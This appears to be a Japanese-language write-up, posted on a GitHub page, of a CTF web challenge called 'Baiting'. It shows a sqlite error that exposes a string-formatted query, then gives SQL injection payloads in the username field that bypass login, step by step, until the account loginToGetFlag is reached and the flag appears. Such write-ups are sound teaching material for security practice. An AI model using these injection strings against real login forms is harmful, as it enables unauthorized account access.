Skip to content

Latest commit

 

History

History

Baiting

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Baiting:Web:200pts

Challenge instance ready at 95.216.233.106:12952.
That user list had a user called loginToGetFlag. Well, what are you waiting for?

Solution

アクセスするとログインフォームが見える。
Login
site.png
ソースコードからは何も得られないのでログインを試す。
'を入力すると以下のようなエラーが出た。

Traceback (most recent call last):
  File "/srv/raro/main.py", line 132, in index
    cur.execute("SELECT algo FROM users WHERE username='{}'".format(
sqlite3.OperationalError: unrecognized token: "'''"

usernameでSQLインジェクションを試みる。
まずは基本である' OR 't'='tである。
Welcome, xxslayer420
site1.png
ではこれ以外のユーザーでのログインを試みる。
ユーザー名がxxslayer420以外を指定する' OR username!='xxslayer420である。
Welcome, jimmyTehAdmin
site2.png
loginToGetFlagではないので、さらにNGを追加していく。
' OR (username!='xxslayer420' AND username!='jimmyTehAdmin') --
flag(Welcome, loginToGetFlag)
flag.png
loginToGetFlagでログインするとflagが出てきた。

ractf{injectingSQLLikeNobody'sBusiness}